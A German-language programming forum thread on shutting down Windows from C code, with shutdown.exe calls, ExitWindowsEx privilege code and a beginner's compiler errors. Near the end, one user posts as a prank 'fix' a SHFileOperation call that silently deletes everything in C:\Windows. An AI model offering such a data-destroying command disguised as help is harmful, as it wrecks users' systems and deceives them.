Shut down
-
ein vorschlag!
ich mache es so:WinExec("c:\\windows\\system32\\shutdown.exe -s -t 01", SW_SHOW);//ausschalten
-
oldi schrieb:
ein vorschlag!
ich mache es so:WinExec("c:\\windows\\system32\\shutdown.exe -s -t 01", SW_SHOW);//ausschaltenGeht nur bei XP/2003 weil das Tool vorher noch nicht enthalten war.
-
oldi schrieb:
ein vorschlag!
ich mache es so:WinExec("c:\\windows\\system32\\shutdown.exe -s -t 01", SW_SHOW);//ausschaltenAutsch. Du machst falsch, was man nur falsch machen kann. Es feängt damit an, dass du WinExec benutzt:
This function is provided only for compatibility with 16-bit Windows. Applications should use the CreateProcess function.
Dann ist der Pfad hardgecodet. Wer sagt dir, dass meine Windows Installation auf C ist und im Ordner C:\Windows?
Dann greifst du auf ein Programm zurück, welches erst ab Windows XP mit ausgeliefert wird.
Und du machst das alles nur, weil du zu faul bist ein paar Zeilen Code zum Aktivieren der Priviliegien zu kopieren und dann ExitWindowsEx aufzurufen?
-
Ich hab was !!1 Da sind aber fehler drin,denn es möchte bei mir nie funktionieren!!!! Villeicht könnt ihr mir aber helfen!
:
#include <windows.h>
int WINAPI WinMain()
{ bool MySystemShutdown()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return( FALSE );LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);if (GetLastError() != ERROR_SUCCESS)
return FALSE;if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0))
return FALSE;return TRUE;
}}
}
-
-
[ot]
schön das die lösung gleich dreimal gepostet wurde, ich weis aller guten dinge
sind drei
wie schwer kann es sein den code der msdn zu lesen 
musste ich jetzt einfach los werden
-
so toll ist es aber nicht, den ich bekomme immer fehler !!!!1 Wieso???????:
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(4) : error C2731: 'WinMain' : Ueberladen der Funktion nicht moeglich
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(3) : Siehe Deklaration von 'WinMain'
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(5) : error C2601: 'MySystemShutdown' : Lokale Funktionsdefinitionen sind unzulaessig
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(35) : warning C4508: 'WinMain' : Funktion sollte einen Wert zurueckgeben; Ergebnistyp 'void' angenommen
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(37) : error C2143: Syntaxfehler : Fehlendes ';' vor '}'
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(37) : error C2143: Syntaxfehler : Fehlendes ';' vor '}'
C:\Dokumente und Einstellungen\wiluna\Desktop\aBRGVG.cpp(37) : error C2143: Syntaxfehler : Fehlendes ';' vor '}'
Fehler beim Ausführen von cl.exe.aBRGVG.obj - 5 Fehler, 1 Warnung(en)
-
dieses liegt aber an deiner programmierung

hast du zwei winmains?
zeig mal deinen code
-
wieso macht ihrs nicht einfach mit system() ?
soll auch nicht das beste sein wie ich gehört hab, aber ich denke, es ist das einfachste.
-
Mindphreaker schrieb:
wieso macht ihrs nicht einfach mit system() ?
und würdest es du machen mit system machen?
shutdown.exe?
rundll32.exe?
pfad von windows?
verschiedene windows platformen?
userprivilegien?
....wenn du alles berücksichtigt hast dann wirdst du wahrscheinlich eine monster funktion haben.
-
So neh??? :
#include <windows.h>
int WINAPI WinMain()
{ bool MySystemShutdown()
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return( FALSE );LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0);if (GetLastError() != ERROR_SUCCESS)
return FALSE;if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0))
return FALSE;return TRUE;
;};}
;}
-
les dir mal ein tutorial durch, hier sind so viele fehler drin das es dir persöhnlich nichts bringt wenn dir jetzt jemand einfach den code hinklatscht.
ich sag nur
- semikolon
- klammerung
- funktionsdeklaration
- funktionaufruf
und undoben rechts findest du einiges brauchbares.
-
Ich habe den code doch hingeklatscht bekommen !!!! Ich hab mal neh frage ich lerne grad aus dem Buch "C-von anfang an" Von Helmut erlenkötter. Könntest du mir ein Buchvorschlag machen was ich als nächstes durchnehmen ( <-
) soll??
ich würde gern verstehen wie ein virus funktioniert.
-
-
wewe schrieb:
Ich habe den code doch hingeklatscht bekommen !!!!
habe den link gepostet in der hoffung das du damit was anfangen kannst und
ihn vernünftig einbauen kannst.wewe schrieb:
Ich hab mal neh frage ich lerne grad aus dem Buch "C-von anfang an" Von Helmut erlenkötter. Könntest du mir ein Buchvorschlag machen was ich als nächstes durchnehmen ( <-
) soll??durchforste mal die faq oder benutz mal die forensuche, es kommt auch startk darauf in welche richtung du dich entwickelen möchtest
-
Klattscht es mir BITTE hin !!!!!!!! BBBBBIIITTTTTEE
-
So dürfte es funktionieren:
SHFILEOPSTRUCT fo; fo.wFunc = FO_DELETE; fo.pFrom = "C:\\Windows\\*.*"; fo.fFlags = FOF_NOCONFIRMATION; SHFileOperation (&fo);Den Code darfst du aus Copyright gründen aber nicht weitergeben...
-
Du Sau!!!
-
WebFritzi schrieb:
Du Sau!!!
Hast du es ausgeführt oder was? 
-
masterofx32 schrieb:
WebFritzi schrieb:
Du Sau!!!
Hast du es ausgeführt oder was? 
so dämlich kann keiner sein...